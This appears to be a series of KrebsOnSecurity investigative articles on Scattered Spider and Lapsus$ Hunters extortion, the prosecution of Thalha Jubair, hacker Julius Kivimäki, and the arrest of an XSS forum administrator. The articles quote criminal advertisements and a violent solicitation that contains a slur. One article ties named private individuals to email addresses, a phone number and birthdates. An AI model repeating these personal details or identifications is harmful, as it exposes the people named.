The Scattered Lapsus$ Hunters claim they will publish data stolen from Salesforce and its customers if ransom demands aren’t paid by October 10. The group also claims it will soon begin extorting hundreds more organizations that lost data in August after a cybercrime group stole vast amounts of authentication tokens from Salesloft, whose AI chatbot is used by many corporate websites to convert customer interaction into Salesforce leads.

In a communication sent to customers today, Salesforce emphasized that the theft of any third-party Salesloft data allegedly stolen by ShinyHunters did not originate from a vulnerability within the core Salesforce platform. The company also stressed that it has no plans to meet any extortion demands.

“Salesforce will not engage, negotiate with, or pay any extortion demand,” the message to customers read. “Our focus is, and remains, on defending our environment, conducting thorough forensic analysis, supporting our customers, and working with law enforcement and regulatory authorities.”

The GTIG tracked the group behind the Salesloft data thefts as UNC6395, and says the group has been observed harvesting the data for authentication tokens tied to a range of cloud services like Snowflake and Amazon’s AWS.

Google catalogs Scattered Lapsus$ Hunters by so many UNC names (throw in UNC6240 for good measure) because it is thought to be an amalgamation of three hacking groups — Scattered Spider, Lapsus$ and ShinyHunters. The members of these groups hail from many of the same chat channels on the Com, a mostly English-language cybercriminal community that operates across an ocean of Telegram and Discord servers.

The Scattered Lapsus$ Hunters darknet blog is currently offline. The outage appears to have coincided with the disappearance of the group’s new clearnet blog — breachforums[.]hn — which vanished after shifting its Domain Name Service (DNS) servers from DDoS-Guard to Cloudflare.

But before it died, the websites disclosed that hackers were exploiting a critical zero-day vulnerability in Oracle’s E-Business Suite software. Oracle has since confirmed that a security flaw tracked as CVE-2025-61882 allows attackers to perform unauthenticated remote code execution, and is urging customers to apply an emergency update to address the weakness.

Mandiant’s Charles Carmakal shared on LinkedIn that CVE-2025-61882 was initially exploited in August 2025 by the Clop ransomware gang to steal data from Oracle E-Business Suite servers. Bleeping Computer writes that news of the Oracle zero-day first surfaced on the Scattered Lapsus$ Hunters blog, which published a pair of scripts that were used to exploit vulnerable Oracle E-Business Suite instances.

On Monday evening, KrebsOnSecurity received a malware-laced message from a reader that threatened physical violence unless their unstated demands were met. The missive, titled “Shiny hunters,” contained the hashtag $LAPSU$$SCATEREDHUNTER, and urged me to visit a page on limewire[.]com to view their demands.

KrebsOnSecurity did not visit this link, but instead forwarded it to Mandiant, which confirmed that similar menacing missives were sent to employees at Mandiant and other security firms around the same time.

The link in the message fetches a malicious trojan disguised as a Windows screensaver file (Virustotal’s analysis on this malware is here). Simply viewing the booby-trapped screensaver on a Windows PC is enough to cause the bundled trojan to launch in the background.

Mandiant’s Austin Larsen said the trojan is a commercially available backdoor known as ASYNCRAT, a .NET-based backdoor that communicates using a custom binary protocol over TCP, and can execute shell commands and download plugins to extend its features.

“Downloaded plugins may be executed directly in memory or stored in the registry,” Larsen wrote in an analysis shared via email. “Capabilities added via plugins include screenshot capture, file transfer, keylogging, video capture, and cryptocurrency mining. ASYNCRAT also supports a plugin that targets credentials stored by Firefox and Chromium-based web browsers.”

Malware-laced targeted emails are not out of character for certain members of the Scattered Lapsus$ Hunters, who have previously harassed and threatened security researchers and even law enforcement officials who are investigating and warning about the extent of their attacks.

With so many big data breaches and ransom attacks now coming from cybercrime groups operating on the Com, law enforcement agencies on both sides of the pond are under increasing pressure to apprehend the criminal hackers involved. In late September, prosecutors in the U.K. charged two alleged Scattered Spider members aged 18 and 19 with extorting at least $115 million in ransom payments from companies victimized by data theft.

U.S. prosecutors heaped their own charges on the 19 year-old in that duo — U.K. resident Thalha Jubair — who is alleged to have been involved in data ransom attacks against Marks & Spencer and Harrods, the British food retailer Co-op Group, and the 2023 intrusions at MGM Resorts and Caesars Entertainment. Jubair also was allegedly a key member of LAPSUS$, a cybercrime group that broke into dozens of technology companies beginning in late 2021.

In August, convicted Scattered Spider member and 20-year-old Florida man Noah Michael Urban was sentenced to 10 years in federal prison and ordered to pay roughly $13 million in restitution to victims.

In April 2025, a 23-year-old Scottish man thought to be an early Scattered Spider member was extradited from Spain to the U.S., where he is facing charges of wire fraud, conspiracy and identity theft. U.S. prosecutors allege Tyler Robert Buchanan and co-conspirators hacked into dozens of companies in the United States and abroad, and that he personally controlled more than $26 million stolen from victims.

Update, Oct. 8, 8:59 a.m. ET: A previous version of this story incorrectly referred to the malware sent by the reader as a Windows screenshot file. Rather, it is a Windows screensaver file.

U.S. prosecutors last week levied criminal hacking charges against 19-year-old U.K. national Thalha Jubair for allegedly being a core member of Scattered Spider, a prolific cybercrime group blamed for extorting at least $115 million in ransom payments from victims. The charges came as Jubair and an alleged co-conspirator appeared in a London court to face accusations of hacking into and extorting several large U.K. retailers, the London transit system, and healthcare providers in the United States.

At a court hearing last week, U.K. prosecutors laid out a litany of charges against Jubair and 18-year-old Owen Flowers, accusing the teens of involvement in an August 2024 cyberattack that crippled Transport for London, the entity responsible for the public transport network in the Greater London area.

On July 10, 2025, KrebsOnSecurity reported that Flowers and Jubair had been arrested in the United Kingdom in connection with recent Scattered Spider ransom attacks against the retailers Marks & Spencer and Harrods, and the British food retailer Co-op Group.

That story cited sources close to the investigation saying Flowers was the Scattered Spider member who anonymously gave interviews to the media in the days after the group’s September 2023 ransomware attacks disrupted operations at Las Vegas casinos operated by MGM Resorts and Caesars Entertainment.

The story also noted that Jubair’s alleged handles on cybercrime-focused Telegram channels had far lengthier rap sheets involving some of the more consequential and headline-grabbing data breaches over the past four years. What follows is an account of cybercrime activities that prosecutors have attributed to Jubair’s alleged hacker handles, as told by those accounts in posts to public Telegram channels that are closely monitored by multiple cyber intelligence firms.

EARLY DAYS (2021-2022)

Jubair is alleged to have been a core member of the LAPSUS$ cybercrime group that broke into dozens of technology companies beginning in late 2021, stealing source code and other internal data from tech giants including Microsoft, Nvidia, Okta, Rockstar Games, Samsung, T-Mobile, and Uber.

That is, according to the former leader of the now-defunct LAPSUS$. In April 2022, KrebsOnSecurity published internal chat records taken from a server that LAPSUS$ used, and those chats indicate Jubair was working with the group using the nicknames Amtrak and Asyntax. In the middle of the gang’s cybercrime spree, Asyntax told the LAPSUS$ leader not to share T-Mobile’s logo in images sent to the group because he’d been previously busted for SIM-swapping and his parents would suspect he was back at it again.

The leader of LAPSUS$ responded by gleefully posting Asyntax’s real name, phone number, and other hacker handles into a public chat room on Telegram:

That story about the leaked LAPSUS$ chats also connected Amtrak/Asyntax to several previous hacker identities, including “Everlynn,” who in April 2021 began offering a cybercriminal service that sold fraudulent “emergency data requests” targeting the major social media and email providers.

In these so-called “fake EDR” schemes, the hackers compromise email accounts tied to police departments and government agencies, and then send unauthorized demands for subscriber data (e.g. username, IP/email address), while claiming the information being requested can’t wait for a court order because it relates to an urgent matter of life and death.

EARTHTOSTAR

Prosecutors in New Jersey last week alleged Jubair was part of a threat group variously known as Scattered Spider, 0ktapus, and UNC3944, and that he used the nicknames EarthtoStar, Brad, Austin, and Austistic.

Beginning in 2022, EarthtoStar co-ran a bustling Telegram channel called Star Chat, which was home to a prolific SIM-swapping group that relentlessly used voice- and SMS-based phishing attacks to steal credentials from employees at the major wireless providers in the U.S. and U.K.

The group would then use that access to sell a SIM-swapping service that could redirect a target’s phone number to a device the attackers controlled, allowing them to intercept the victim’s phone calls and text messages (including one-time codes). Members of Star Chat targeted multiple wireless carriers with SIM-swapping attacks, but they focused mainly on phishing T-Mobile employees.

In February 2023, KrebsOnSecurity scrutinized more than seven months of these SIM-swapping solicitations on Star Chat, which almost daily peppered the public channel with “Tmo up!” and “Tmo down!” notices indicating periods wherein the group claimed to have active access to T-Mobile’s network.

The data showed that Star Chat — along with two other SIM-swapping groups operating at the same time — collectively broke into T-Mobile over a hundred times in the last seven months of 2022. However, Star Chat was by far the most prolific of the three, responsible for at least 70 of those incidents.

A review of EarthtoStar’s messages on Star Chat as indexed by the threat intelligence firm Flashpoint shows this person also sold “AT&T email resets” and AT&T call forwarding services for up to $1,200 per line. EarthtoStar explained the purpose of this service in post on Telegram:

“Ok people are confused, so you know when u login to chase and it says ‘2fa required’ or whatever the fuck, well it gives you two options, SMS or Call. If you press call, and I forward the line to you then who do you think will get said call?”

New Jersey prosecutors allege Jubair also was involved in a mass SMS phishing campaign during the summer of 2022 that stole single sign-on credentials from employees at hundreds of companies. The text messages asked users to click a link and log in at a phishing page that mimicked their employer’s Okta authentication page, saying recipients needed to review pending changes to their upcoming work schedules.

The phishing websites used a Telegram instant message bot to forward any submitted credentials in real-time, allowing the attackers to use the phished username, password and one-time code to log in as that employee at the real employer website.

That weeks-long SMS phishing campaign led to intrusions and data thefts at more than 130 organizations, including LastPass, DoorDash, Mailchimp, Plex and Signal.

DA, COMRADE

EarthtoStar’s group Star Chat specialized in phishing their way into business process outsourcing (BPO) companies that provide customer support for a range of multinational companies, including a number of the world’s largest telecommunications providers. In May 2022, EarthtoStar posted to the Telegram channel “Frauwudchat”:

“Hi, I am looking for partners in order to exfiltrate data from large telecommunications companies/call centers/alike, I have major experience in this field, [including] a massive call center which houses 200,000+ employees where I have dumped all user credentials and gained access to the [domain controller] + obtained global administrator I also have experience with REST API’s and programming. I have extensive experience with VPN, Citrix, cisco anyconnect, social engineering + privilege escalation. If you have any Citrix/Cisco VPN or any other useful things please message me and lets work.”

At around the same time in the Summer of 2022, at least two different accounts tied to Star Chat — “RocketAce” and “Lopiu” — introduced the group’s services to denizens of the Russian-language cybercrime forum Exploit, including:

-SIM-swapping services targeting Verizon and T-Mobile customers;
-Dynamic phishing pages targeting customers of single sign-on providers like Okta;
-Malware development services;
-The sale of extended validation (EV) code signing certificates.

These two accounts on Exploit created multiple sales threads in which they claimed administrative access to U.S. telecommunications providers and asked other Exploit members for help in monetizing that access. In June 2022, RocketAce, which appears to have been just one of EarthtoStar’s many aliases, posted to Exploit:

Hello. I have access to a telecommunications company’s citrix and vpn. I would like someone to help me break out of the system and potentially attack the domain controller so all logins can be extracted we can discuss payment and things leave your telegram in the comments or private message me ! Looking for someone with knowledge in citrix/privilege escalation

On Nov. 15, 2022, EarthtoStar posted to their Star Sanctuary Telegram channel that they were hiring malware developers with a minimum of three years of experience and the ability to develop rootkits, backdoors and malware loaders.

“Optional: Endorsed by advanced APT Groups (e.g. Conti, Ryuk),” the ad concluded, referencing two of Russia’s most rapacious and destructive ransomware affiliate operations. “Part of a nation-state / ex-3l (3 letter-agency).”

2023-PRESENT DAY

The Telegram and Discord chat channels wherein Flowers and Jubair allegedly planned and executed their extortion attacks are part of a loose-knit network known as the Com, an English-speaking cybercrime community consisting mostly of individuals living in the United States, the United Kingdom, Canada and Australia.

Many of these Com chat servers have hundreds to thousands of members each, and some of the more interesting solicitations on these communities are job offers for in-person assignments and tasks that can be found if one searches for posts titled, “If you live near,” or “IRL job” — short for “in real life” job.

These “violence-as-a-service” solicitations typically involve “brickings,” where someone is hired to toss a brick through the window at a specified address. Other IRL jobs for hire include tire-stabbings, molotov cocktail hurlings, drive-by shootings, and even home invasions. The people targeted by these services are typically other criminals within the community, but it’s not unusual to see Com members asking others for help in harassing or intimidating security researchers and even the very law enforcement officers who are investigating their alleged crimes.

It remains unclear what precipitated this incident or what followed directly after, but on January 13, 2023, a Star Sanctuary account used by EarthtoStar solicited the home invasion of a sitting U.S. federal prosecutor from New York. That post included a photo of the prosecutor taken from the Justice Department’s website, along with the message:

“Need irl niggas, in home hostage shit no fucking pussies no skinny glock holding 100 pound niggas either”

Throughout late 2022 and early 2023, EarthtoStar’s alias “Brad” (a.k.a. “Brad_banned”) frequently advertised Star Chat’s malware development services, including custom malicious software designed to hide the attacker’s presence on a victim machine:

We can develop KERNEL malware which will achieve persistence for a long time,
bypass firewalls and have reverse shell access.

This shit is literally like STAGE 4 CANCER FOR COMPUTERS!!!

Kernel meaning the highest level of authority on a machine.
This can range to simple shells to Bootkits.

Bypass all major EDR’s (SentinelOne, CrowdStrike, etc)
Patch EDR’s scanning functionality so it’s rendered useless!

Once implanted, extremely difficult to remove (basically impossible to even find)
Development Experience of several years and in multiple APT Groups.

Be one step ahead of the game. Prices start from $5,000+. Message @brad_banned to get a quote

In September 2023 , both MGM Resorts and Caesars Entertainment suffered ransomware attacks at the hands of a Russian ransomware affiliate program known as ALPHV and BlackCat. Caesars reportedly paid a $15 million ransom in that incident.

Within hours of MGM publicly acknowledging the 2023 breach, members of Scattered Spider were claiming credit and telling reporters they’d broken in by social engineering a third-party IT vendor. At a hearing in London last week, U.K. prosecutors told the court Jubair was found in possession of more than $50 million in ill-gotten cryptocurrency, including funds that were linked to the Las Vegas casino hacks.

The Star Chat channel was finally banned by Telegram on March 9, 2025. But U.S. prosecutors say Jubair and fellow Scattered Spider members continued their hacking, phishing and extortion activities up until September 2025.

In April 2025, the Com was buzzing about the publication of “The Com Cast,” a lengthy screed detailing Jubair’s alleged cybercriminal activities and nicknames over the years. This account included photos and voice recordings allegedly of Jubair, and asserted that in his early days on the Com Jubair used the nicknames Clark and Miku (these are both aliases used by Everlynn in connection with their fake EDR services).

More recently, the anonymous Com Cast author(s) claimed, Jubair had used the nickname “Operator,” which corresponds to a Com member who ran an automated Telegram-based doxing service that pulled consumer records from hacked data broker accounts. That public outing came after Operator allegedly seized control over the Doxbin, a long-running and highly toxic community that is used to “dox” or post deeply personal information on people.

“Operator/Clark/Miku: A key member of the ransomware group Scattered Spider, which consists of a diverse mix of individuals involved in SIM swapping and phishing,” the Com Cast account stated. “The group is an amalgamation of several key organizations, including Infinity Recursion (owned by Operator), True Alcorians (owned by earth2star), and Lapsus, which have come together to form a single collective.”

The New Jersey complaint (PDF) alleges Jubair and other Scattered Spider members committed computer fraud, wire fraud, and money laundering in relation to at least 120 computer network intrusions involving 47 U.S. entities between May 2022 and September 2025. The complaint alleges the group’s victims paid at least $115 million in ransom payments.

U.S. authorities say they traced some of those payments to Scattered Spider to an Internet server controlled by Jubair. The complaint states that a cryptocurrency wallet discovered on that server was used to purchase several gift cards, one of which was used at a food delivery company to send food to his apartment. Another gift card purchased with cryptocurrency from the same server was allegedly used to fund online gaming accounts under Jubair’s name. U.S. prosecutors said that when they seized that server they also seized $36 million in cryptocurrency.

The complaint also charges Jubair with involvement in a hacking incident in January 2025 against the U.S. courts system that targeted a U.S. magistrate judge overseeing a related Scattered Spider investigation. That other investigation appears to have been the prosecution of Noah Michael Urban, a 20-year-old Florida man charged in November 2024 by prosecutors in Los Angeles as one of five alleged Scattered Spider members.

Urban pleaded guilty in April 2025 to wire fraud and conspiracy charges, and in August he was sentenced to 10 years in federal prison. Speaking with KrebsOnSecurity from jail after his sentencing, Urban asserted that the judge gave him more time than prosecutors requested because he was mad that Scattered Spider hacked his email account.

A court transcript (PDF) from a status hearing in February 2025 shows Urban was telling the truth about the hacking incident that happened while he was in federal custody. The judge told attorneys for both sides that a co-defendant in the California case was trying to find out about Mr. Urban’s activity in the Florida case, and that the hacker accessed the account by impersonating a judge over the phone and requesting a password reset.

Allison Nixon is chief research officer at the New York based security firm Unit 221B, and easily one of the world’s leading experts on Com-based cybercrime activity. Nixon said the core problem with legally prosecuting well-known cybercriminals from the Com has traditionally been that the top offenders tend to be under the age of 18, and thus difficult to charge under federal hacking statutes.

In the United States, prosecutors typically wait until an underage cybercrime suspect becomes an adult to charge them. But until that day comes, she said, Com actors often feel emboldened to continue committing — and very often bragging about — serious cybercrime offenses.

“Here we have a special category of Com offenders that effectively enjoy legal immunity,” Nixon told KrebsOnSecurity. “Most get recruited to Com groups when they are older, but of those that join very young, such as 12 or 13, they seem to be the most dangerous because at that age they have no grounding in reality and so much longevity before they exit their legal immunity.”

Nixon said U.K. authorities face the same challenge when they briefly detain and search the homes of underage Com suspects: Namely, the teen suspects simply go right back to their respective cliques in the Com and start robbing and hurting people again the minute they’re released.

Indeed, the U.K. court heard from prosecutors last week that both Scattered Spider suspects were detained and/or searched by local law enforcement on multiple occasions, only to return to the Com less than 24 hours after being released each time.

“What we see is these young Com members become vectors for perpetrators to commit enormously harmful acts and even child abuse,” Nixon said. “The members of this special category of people who enjoy legal immunity are meeting up with foreign nationals and conducting these sometimes heinous acts at their behest.”

Nixon said many of these individuals have few friends in real life because they spend virtually all of their waking hours on Com channels, and so their entire sense of identity, community and self-worth gets wrapped up in their involvement with these online gangs. She said if the law was such that prosecutors could treat these people commensurate with the amount of harm they cause society, that would probably clear up a lot of this problem.

“If law enforcement was allowed to keep them in jail, they would quit reoffending,” she said.

The Times of London reports that Flowers is facing three charges under the Computer Misuse Act: two of conspiracy to commit an unauthorized act in relation to a computer causing/creating risk of serious damage to human welfare/national security and one of attempting to commit the same act. Maximum sentences for these offenses can range from 14 years to life in prison, depending on the impact of the crime.

Jubair is reportedly facing two charges in the U.K.: One of conspiracy to commit an unauthorized act in relation to a computer causing/creating risk of serious damage to human welfare/national security and one of failing to comply with a section 49 notice to disclose the key to protected information.

In the United States, Jubair is charged with computer fraud conspiracy, two counts of computer fraud, wire fraud conspiracy, two counts of wire fraud, and money laundering conspiracy. If extradited to the U.S., tried and convicted on all charges, he faces a maximum penalty of 95 years in prison.

In July 2025, the United Kingdom barred victims of hacking from paying ransoms to cybercriminal groups unless approved by officials. U.K. organizations that are considered part of critical infrastructure reportedly will face a complete ban, as will the entire public sector. U.K. victims of a hack are now required to notify officials to better inform policymakers on the scale of Britain’s ransomware problem.

For further reading (bless you), check out Bloomberg’s poignant story last week based on a year’s worth of jailhouse interviews with convicted Scattered Spider member Noah Urban.

A new documentary series about cybercrime airing next month on HBO Max features interviews with Yours Truly. The four-part series follows the exploits of Julius Kivimäki, a prolific Finnish hacker recently convicted of leaking tens of thousands of patient records from an online psychotherapy practice while attempting to extort the clinic and its patients.

The documentary, “Most Wanted: Teen Hacker,” explores the 27-year-old Kivimäki’s lengthy and increasingly destructive career, one that was marked by cyber attacks designed to result in real-world physical impacts on their targets.

By the age of 14, Kivimäki had fallen in with a group of criminal hackers who were mass-compromising websites and milking them for customer payment card data. Kivimäki and his friends enjoyed harassing and terrorizing others by “swatting” their homes — calling in fake hostage situations or bomb threats at a target’s address in the hopes of triggering a heavily-armed police response to that location.

On Dec. 26, 2014, Kivimäki and fellow members of a group of online hooligans calling themselves the Lizard Squad launched a massive distributed denial-of-service (DDoS) attack against the Sony Playstation and Microsoft Xbox Live platforms, preventing millions of users from playing with their shiny new gaming rigs the day after Christmas. The Lizard Squad later acknowledged that the stunt was planned to call attention to their new DDoS-for-hire service, which came online and started selling subscriptions shortly after the attack.

Finnish investigators said Kivimäki also was responsible for a 2014 bomb threat against former Sony Online Entertainment President John Smedley that grounded an American Airlines plane. That incident was widely reported to have started with a Twitter post from the Lizard Squad, after Smedley mentioned some upcoming travel plans online. But according to Smedley and Finnish investigators, the bomb threat started with a phone call from Kivimäki.

The creaky wheels of justice seemed to be catching up with Kivimäki in mid-2015, when a Finnish court found him guilty of more than 50,000 cybercrimes, including data breaches, payment fraud, and operating a global botnet of hacked computers. Unfortunately, the defendant was 17 at the time, and received little more than a slap on the wrist: A two-year suspended sentence and a small fine.

Kivimäki immediately bragged online about the lenient sentencing, posting on Twitter that he was an “untouchable hacker god.” I wrote a column in 2015 lamenting his laughable punishment because it was clear even then that this was a person who enjoyed watching other people suffer, and who seemed utterly incapable of remorse about any of it. It was also abundantly clear to everyone who investigated his crimes that he wasn’t going to quit unless someone made him stop.

In response to some of my early reporting that mentioned Kivimäki, one reader shared that they had been dealing with non-stop harassment and abuse from Kivimäki for years, including swatting incidents, unwanted deliveries and subscriptions, emails to her friends and co-workers, as well as threatening phonecalls and texts at all hours of the night. The reader, who spoke on condition of anonymity, shared that Kivimäki at one point confided that he had no reason whatsoever for harassing her — that she was picked at random and that it was just something he did for laughs.

Five years after Kivimäki’s conviction, the Vastaamo Psychotherapy Center in Finland became the target of blackmail when a tormentor identified as “ransom_man” demanded payment of 40 bitcoins (~450,000 euros at the time) in return for a promise not to publish highly sensitive therapy session notes Vastaamo had exposed online.

Ransom_man, a.k.a. Kivimäki, announced on the dark web that he would start publishing 100 patient profiles every 24 hours. When Vastaamo declined to pay, ransom_man shifted to extorting individual patients. According to Finnish police, some 22,000 victims reported extortion attempts targeting them personally, targeted emails that threatened to publish their therapy notes online unless paid a 500 euro ransom.

In October 2022, Finnish authorities charged Kivimäki with extorting Vastaamo and its patients. But by that time he was on the run from the law and living it up across Europe, spending lavishly on fancy cars, apartments and a hard-partying lifestyle.

In February 2023, Kivimäki was arrested in France after authorities there responded to a domestic disturbance call and found the defendant sleeping off a hangover on the couch of a woman he’d met the night before. The French police grew suspicious when the 6′ 3″ blonde, green-eyed man presented an ID that stated he was of Romanian nationality.

In April 2024, Kivimäki was sentenced to more than six years in prison after being convicted of extorting Vastaamo and its patients.

The documentary is directed by the award-winning Finnish producer and director Sami Kieski and co-written by Joni Soila. According to an August 6 press release, the four 43-minute episodes will drop weekly on Fridays throughout September across Europe, the U.S, Latin America, Australia and South-East Asia.

On July 22, 2025, the European police agency Europol said a long-running investigation led by the French Police resulted in the arrest of a 38-year-old administrator of XSS, a Russian-language cybercrime forum with more than 50,000 members. The action has triggered an ongoing frenzy of speculation and panic among XSS denizens about the identity of the unnamed suspect, but the consensus is that he is a pivotal figure in the crime forum scene who goes by the hacker handle “Toha.” Here’s a deep dive on what’s knowable about Toha, and a short stab at who got nabbed.

Europol did not name the accused, but published partially obscured photos of him from the raid on his residence in Kiev. The police agency said the suspect acted as a trusted third party — arbitrating disputes between criminals — and guaranteeing the security of transactions on XSS. A statement from Ukraine’s SBU security service said XSS counted among its members many cybercriminals from various ransomware groups, including REvil, LockBit, Conti, and Qiliin.

Since the Europol announcement, the XSS forum resurfaced at a new address on the deep web (reachable only via the anonymity network Tor). But from reviewing the recent posts, there appears to be little consensus among longtime members about the identity of the now-detained XSS administrator.

The most frequent comment regarding the arrest was a message of solidarity and support for Toha, the handle chosen by the longtime administrator of XSS and several other major Russian forums. Toha’s accounts on other forums have been silent since the raid.

Europol said the suspect has enjoyed a nearly 20-year career in cybercrime, which roughly lines up with Toha’s history. In 2005, Toha was a founding member of the Russian-speaking forum Hack-All. That is, until it got massively hacked a few months after its debut. In 2006, Toha rebranded the forum to exploit[.]in, which would go on to draw tens of thousands of members, including an eventual Who’s-Who of wanted cybercriminals.

Toha announced in 2018 that he was selling the Exploit forum, prompting rampant speculation on the forums that the buyer was secretly a Russian or Ukrainian government entity or front person. However, those suspicions were unsupported by evidence, and Toha vehemently denied the forum had been given over to authorities.

One of the oldest Russian-language cybercrime forums was DaMaGeLaB, which operated from 2004 to 2017, when its administrator “Ar3s” was arrested. In 2018, a partial backup of the DaMaGeLaB forum was reincarnated as xss[.]is, with Toha as its stated administrator.

CROSS-SITE GRIFTING

Clues about Toha’s early presence on the Internet — from ~2004 to 2010 — are available in the archives of Intel 471, a cyber intelligence firm that tracks forum activity. Intel 471 shows Toha used the same email address across multiple forum accounts, including at Exploit, Antichat, Carder[.]su and inattack[.]ru.

DomainTools.com finds Toha’s email address — toschka2003@yandex.ru — was used to register at least a dozen domain names — most of them from the mid- to late 2000s. Apart from exploit[.]in and a domain called ixyq[.]com, the other domains registered to that email address end in .ua, the top-level domain for Ukraine (e.g. deleted.org[.]ua, lj.com[.]ua, and blogspot.org[.]ua).

Nearly all of the domains registered to toschka2003@yandex.ru contain the name Anton Medvedovskiy in the registration records, except for the aforementioned ixyq[.]com, which is registered to the name Yuriy Avdeev in Moscow.

This Avdeev surname came up in a lengthy conversation with Lockbitsupp, the leader of the rapacious and destructive ransomware affiliate group Lockbit. The conversation took place in February 2024, when Lockbitsupp asked for help identifying Toha’s real-life identity.

Lockbitsupp didn’t share why he wanted Toha’s details, but he maintained that Toha’s real name was Anton Avdeev. I declined to help Lockbitsupp in whatever revenge he was planning on Toha, but his question made me curious to look deeper.

It appears Lockbitsupp’s query was based on a now-deleted Twitter post from 2022, when a user by the name “3xp0rt” asserted that Toha was a Russian man named Anton Viktorovich Avdeev, born October 27, 1983.

Searching the web for Toha’s email address toschka2003@yandex.ru reveals a 2010 sales thread on the forum bmwclub.ru where a user named Honeypo was selling a 2007 BMW X5. The ad listed the contact person as Anton Avdeev and gave the contact phone number 9588693.

A search on the phone number 9588693 in the breach tracking service Constella Intelligence finds plenty of official Russian government records with this number, date of birth and the name Anton Viktorovich Avdeev. For example, hacked Russian government records show this person has a Russian tax ID and SIN (Social Security number), and that they were flagged for traffic violations on several occasions by Moscow police; in 2004, 2006, 2009, and 2014.

Astute readers may have noticed by now that the ages of Mr. Avdeev (41) and the XSS admin arrested this month (38) are a bit off. This would seem to suggest that the person arrested is someone other than Mr. Avdeev, who did not respond to requests for comment.

A FLY ON THE WALL

For further insight on this question, KrebsOnSecurity sought comments from Sergeii Vovnenko, a former cybercriminal from Ukraine who now works at the security startup paranoidlab.com. I reached out to Vovnenko because for several years beginning around 2010 he was the owner and operator of thesecure[.]biz, an encrypted “Jabber” instant messaging server that Europol said was operated by the suspect arrested in Kiev. Thesecure[.]biz grew quite popular among many of the top Russian-speaking cybercriminals because it scrupulously kept few records of its users’ activity, and its administrator was always a trusted member of the community.

The reason I know this historic tidbit is that in 2013, Vovnenko — using the hacker nicknames “Fly,” and “Flycracker” — hatched a plan to have a gram of heroin purchased off of the Silk Road darknet market and shipped to our home in Northern Virginia. The scheme was to spoof a call from one of our neighbors to the local police, saying this guy Krebs down the street was a druggie who was having narcotics delivered to his home.

I happened to be lurking on Flycracker’s private cybercrime forum when his heroin-framing plan was carried out, and called the police myself before the smack eventually arrived in the U.S. Mail. Vovnenko was later arrested for unrelated cybercrime activities, extradited to the United States, convicted, and deported after a 16-month stay in the U.S. prison system [on several occasions, he has expressed heartfelt apologies for the incident, and we have since buried the hatchet].

Vovnenko said he purchased a device for cloning credit cards from Toha in 2009, and that Toha shipped the item from Russia. Vovnenko explained that he (Flycracker) was the owner and operator of thesecure[.]biz from 2010 until his arrest in 2014.

Vovnenko believes thesecure[.]biz was stolen while he was in jail, either by Toha and/or an XSS administrator who went by the nicknames N0klos and Sonic.

“When I was in jail, [the] admin of xss.is stole that domain, or probably N0klos bought XSS from Toha or vice versa,” Vovnenko said of the Jabber domain. “Nobody from [the forums] spoke with me after my jailtime, so I can only guess what really happened.”

N0klos was the owner and administrator of an early Russian-language cybercrime forum known as Darklife[.]ws. However, N0kl0s also appears to be a lifelong Russian resident, and in any case seems to have vanished from Russian cybercrime forums several years ago.

Asked whether he believes Toha was the XSS administrator who was arrested this month in Ukraine, Vovnenko maintained that Toha is Russian, and that “the French cops took the wrong guy.”

WHO IS TOHA?

So who did the Ukrainian police arrest in response to the investigation by the French authorities? It seems plausible that the BMW ad invoking Toha’s email address and the name and phone number of a Russian citizen was simply misdirection on Toha’s part — intended to confuse and throw off investigators. Perhaps this even explains the Avdeev surname surfacing in the registration records from one of Toha’s domains.

But sometimes the simplest answer is the correct one. “Toha” is a common Slavic nickname for someone with the first name “Anton,” and that matches the name in the registration records for more than a dozen domains tied to Toha’s toschka2003@yandex.ru email address: Anton Medvedovskiy.

Constella Intelligence finds there is an Anton Gannadievich Medvedovskiy living in Kiev who will be 38 years old in December. This individual owns the email address itsmail@i.ua, as well an an Airbnb account featuring a profile photo of a man with roughly the same hairline as the suspect in the blurred photos released by the Ukrainian police. Mr. Medvedovskiy did not respond to a request for comment.

My take on the takedown is that the Ukrainian authorities likely arrested Medvedovskiy. Toha shared on DaMaGeLab in 2005 that he had recently finished the 11th grade and was studying at a university — a time when Mevedovskiy would have been around 18 years old. On Dec. 11, 2006, fellow Exploit members wished Toha a happy birthday. Records exposed in a 2022 hack at the Ukrainian public services portal diia.gov.ua show that Mr. Medvedovskiy’s birthday is Dec. 11, 1987.

The law enforcement action and resulting confusion about the identity of the detained has thrown the Russian cybercrime forum scene into disarray in recent weeks, with lengthy and heated arguments about XSS’s future spooling out across the forums.

XSS relaunched on a new Tor address shortly after the authorities plastered their seizure notice on the forum’s  homepage, but all of the trusted moderators from the old forum were dismissed without explanation. Existing members saw their forum account balances drop to zero, and were asked to plunk down a deposit to register at the new forum. The new XSS “admin” said they were in contact with the previous owners and that the changes were to help rebuild security and trust within the community.

However, the new admin’s assurances appear to have done little to assuage the worst fears of the forum’s erstwhile members, most of whom seem to be keeping their distance from the relaunched site for now.

Indeed, if there is one common understanding amid all of these discussions about the seizure of XSS, it is that Ukrainian and French authorities now have several years worth of private messages between XSS forum users, as well as contact rosters and other user data linked to the seized Jabber server.

“The myth of the ‘trusted person’ is shattered,” the user “GordonBellford” cautioned on Aug. 3 in an Exploit forum thread about the XSS admin arrest. “The forum is run by strangers. They got everything. Two years of Jabber server logs. Full backup and forum database.”

GordonBellford continued:

And the scariest thing is: this data array is not just an archive. It is material for analysis that has ALREADY BEEN DONE . With the help of modern tools, they see everything:

Graphs of your contacts and activity.
Relationships between nicknames, emails, password hashes and Jabber ID.
Timestamps, IP addresses and digital fingerprints.
Your unique writing style, phraseology, punctuation, consistency of grammatical errors, and even typical typos that will link your accounts on different platforms.

They are not looking for a needle in a haystack. They simply sifted the haystack through the AI sieve and got ready-made dossiers.

Authorities in the United Kingdom this week arrested four people aged 17 to 20 in connection with recent data theft and extortion attacks against the retailers Marks & Spencer and Harrods, and the British food retailer Co-op Group. The breaches have been linked to a prolific but loosely-affiliated cybercrime group dubbed “Scattered Spider,” whose other recent victims include multiple airlines.

The U.K.’s National Crime Agency (NCA) declined verify the names of those arrested, saying only that they included two males aged 19, another aged 17, and 20-year-old female.

Scattered Spider is the name given to an English-speaking cybercrime group known for using social engineering tactics to break into companies and steal data for ransom, often impersonating employees or contractors to deceive IT help desks into granting access. The FBI warned last month that Scattered Spider had recently shifted to targeting companies in the retail and airline sectors.

KrebsOnSecurity has learned the identities of two of the suspects. Multiple sources close to the investigation said those arrested include Owen David Flowers, a U.K. man alleged to have been involved in the cyber intrusion and ransomware attack that shut down several MGM Casino properties in September 2023. Those same sources said the woman arrested is or recently was in a relationship with Flowers.

